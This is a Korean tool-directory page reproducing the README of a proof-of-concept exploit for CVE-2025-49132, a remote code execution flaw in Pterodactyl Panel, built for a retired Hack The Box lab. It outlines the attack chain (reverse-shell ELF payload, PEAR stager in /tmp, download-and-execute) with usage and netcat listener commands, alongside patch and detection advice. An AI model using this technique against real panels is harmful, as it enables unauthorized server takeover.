Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
HTB-Pterodactyl-RCE-CVE-2025-49132 — 이 저장소에는 Pterodactyl htb 머신용 RCE 익스플로잇이 포함되어 있습니다. | Kitploit
도구/GitHubGitHub/symphony2colour/htb-pterodactyl-rce-cve-2025-49132
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
symphony2colour/htb-pterodactyl-rce-cve-2025-49132

HTB-Pterodactyl-RCE-CVE-2025-49132

이 저장소에는 Pterodactyl htb 머신용 RCE 익스플로잇이 포함되어 있습니다.

저장소 보기
126개월 전아직 검토되지 않음

Pterodactyl Panel Locale RCE (CVE-2025-49132) — 교육용 PoC

scope cve python license

승인된 테스트 및 방어 학습 전용입니다.
이 저장소는 대상(target)을 소유했거나 테스트할*명시적 서면 권한을 보유한 통제된 랩 환경(예: CTF/HTB 스타일 환경)을 위해 만들어졌습니다.

컨텍스트

이 저장소에는 v1.11.11 이전 버전의 Pterodactyl Panel에 영향을 미치는 실제 취약점에 대한 교육용 Python PoC(pterodactyl_rce.py)가 포함되어 있습니다. 취약한 구성에서 인증되지 않은 공격자는 locale 및 namespace 매개변수의 부적절한 처리로 인해 /locales/locale.json 엔드포인트를 통해 **원격 코드 실행(RCE)**을 달성할 수 있습니다.

이 PoC 변형은 PHP-PEAR가 설치된 환경을 대상으로 하며, 은퇴한 Hack The Box 머신 Pterodactyl: https://app.hackthebox.com/machines/Pterodactyl 을 기준으로 구축/검증되었습니다. 동일한 조건이 충족되는 다른 랩 환경에서도 작동할 수 있습니다.

취약점 참조

  • GitHub 보안 권고: GHSA-24wv-6c99-f843 (CVE-2025-49132)
  • 영향받는 버전: Pterodactyl Panel < 1.11.11
  • 수정 버전: v1.11.11 (패치 커밋 24c82b0…)

전체적인 개념 (PoC 작동 방식)

대략적으로 PoC는 다음 단계를 연쇄적으로 수행합니다:

  1. msfvenom으로 Linux x64 리버스 TCP ELF 페이로드를 생성합니다.
  2. HTTP 서버를 사용해 해당 ELF를 제공합니다 (요청 1회 후 종료).
  3. 취약한 /locales/locale.json 처리를 악용하여 PHP "스테이저(stager)"를 /tmp에 작성합니다 (PEAR pearcmd config-create 트릭 사용).
  4. locales 엔드포인트를 통해 스테이저를 트리거하여 다음 작업을 수행하게 합니다:
    • ELF를 /tmp로 다운로드
    • 실행 권한 부여
    • 실행하여 리스너로 연결(콜백)

이 스크립트는 "업로드" 단계에서 curl 대신 raw HTTP 클라이언트를 사용합니다. 일부 도구는 문자를 정규화하거나 인코딩하여 조작된 요청을 깨뜨릴 수 있기 때문입니다.

참고: 이 README는 의도적으로 방어/교육 수준에 머물러 있습니다. 테스트가 허가된 환경에서만 이 코드를 사용하세요.


요구 사항 (로컬)

  • Python 3.10+ (표준 라이브러리만으로 테스트됨)
  • $PATH에서 msfvenom 사용 가능 (Metasploit Framework)
  • PoC가 자동 리스너를 시작하도록 하려면 nc (netcat)
  • 랩 머신과 랩 Pterodactyl 인스턴스 간 네트워크 접근

구성

스크립트는 현재 소스 코드에서 패널 HTB 호스트 이름을 사용합니다:

root@kitploit:~
host = "panel.pterodactyl.htb"

추가로 PHP-PEAR에 대한 하드코딩된 경로는 ../../../../../usr/share/php/PEAR로 설정되어 있습니다. Pterodactyl 박스 외부에서 테스트하는 경우 로컬 구성에 맞게 이 경로를 조정해야 합니다.


사용법 (통제된 랩 전용)

1) 기본 실행 (자동 리스너 활성화)

root@kitploit:~
python3 pterodactyl_rce.py <LHOST> <LPORT>
  • <LHOST>: 랩 서버에서 접근 가능한 콜백 IP
  • <LPORT>: 리버스 셸을 수신할 포트

2) 자동 리스너 없이 실행

자체 리스너를 실행하려는 경우:

root@kitploit:~
python3 pterodactyl_rce.py <LHOST> <LPORT> --no-listen

그런 다음 다른 터미널에서:

root@kitploit:~
nc -lvnp <LPORT>

예시 (플레이스홀더)

root@kitploit:~
python3 pterodactyl_rce.py 10.10.14.225 5555

출력 / 예상 결과

일반적인 흐름:

  • ELF 페이로드를 생성합니다 (shell_ab12cd34 같은 무작위 파일 이름)
  • :8080에서 일회성 HTTP 서버를 시작합니다
  • /tmp/<random>.php에 PHP 스테이저를 생성합니다
  • 스테이저를 트리거합니다
  • 트리거 후 로컬 ELF 파일을 제거합니다
  • 셸 업그레이드(PTY) 팁을 출력합니다

성공적인 익스플로잇 스크린샷:

리버스 셸

알려진 문제점 / 랩 참고 사항

  • 랩 불안정성: 대상 박스/서비스가 불안정할 수 있습니다(시간 초과, 간헐적 5xx, 지연된 실행). 실행이 실패하면 잠시 후 다시 시도하세요.
  • 이전 페이로드 재사용: 환경이 때때로 이전에 업로드/스테이징된 파일을 트리거할 수 있습니다. 스크립트는 공격 머신의 로컬 파일만 정리하며 대상 머신의 /tmp/ 폴더에 있는 파일은 건드리지 않습니다. 해결 방법:
    • 새로운 무작위 페이로드 이름으로 다시 실행합니다(이 스크립트의 기본 동작).
    • http.server 초기 포트를 8080에서 다른 포트로 변경합니다.
    • 리스너 포트를 변경하고(예: 4444 → 5555) 페이로드를 다시 생성합니다.
    • HTTP 서버가 현재 파일을 제공하고 있는지 확인합니다(이전 서버/리스너를 중지).
    • 접근 권한이 있다면 대상에서 이전 /tmp/<name>.php 아티팩트를 수동으로 제거하세요. 그렇지 않으면 잠시 기다렸다가 다시 시도하세요.

방어 지침 (수정 방법 / 탐지 방법)

패치 / 완화 조치

  • Pterodactyl Panel v1.11.11 이상으로 업그레이드하세요.
  • 패치 외에 인앱 해결 방법은 없습니다. 웹 서버 수준에서 /locales/locale.json 엔드포인트를 차단할 수는 있지만, 지역화 기능이 깨질 수 있습니다.

탐지 아이디어

다음과 같은 의심스러운 요청을 찾아보세요:

  • 비정상적인 locale= 경로 순회(traversal) 시퀀스가 포함된 /locales/locale.json 요청
  • 이상한 namespace= 값 (예상치 못한 이름, 긴 문자열, 특이한 문자)
  • 패널 호스트의 /tmp/에 예상치 못한 파일의 갑작스러운 생성

웹 로그를 다음 항목과 연관 지어 분석하세요:

  • www / PHP-FPM 사용자에 의해 생성된 새 프로세스
  • 비표준 대상/포트로의 외부 연결
  • 패널 호스트에서의 예상치 못한 curl/wget 사용

책임 있는 사용에 관한 참고 사항

  • 공개 인스턴스를 스캔하거나 테스트하지 마세요.
  • 취약한 인스턴스의 운영자라면 이를 **치명적(critical)**으로 간주하고 즉시 패치하세요.

감사의 말 / 크레딧

  • 원본 PoC: Zen-kun04의 Pterodactyl Panel (< 1.11.11) — Remote Code Execution (RCE) (EDB-ID: 52341, CVE-2025-49132)
    https://www.exploit-db.com/exploits/52341
  • 신고자 / 발견 크레딧: GitHub 보안 권고는 GHSA-24wv-6c99-f843 / CVE-2025-49132를 신고한 @azimoff337에게 크레딧을 부여합니다.
  • GitHub Advisory Database / CVE 프로세스: 취약점 세부 정보를 추적하고 공개해 준 점.
  • Hack The Box (HTB): 이 PoC는 학습 및 방어 연구를 위해 통제된 HTB 스타일 랩 환경에서 구축/검증되었습니다.
    활성 HTB 콘텐츠에 대한 스포일러는 없습니다.
도구 다운로드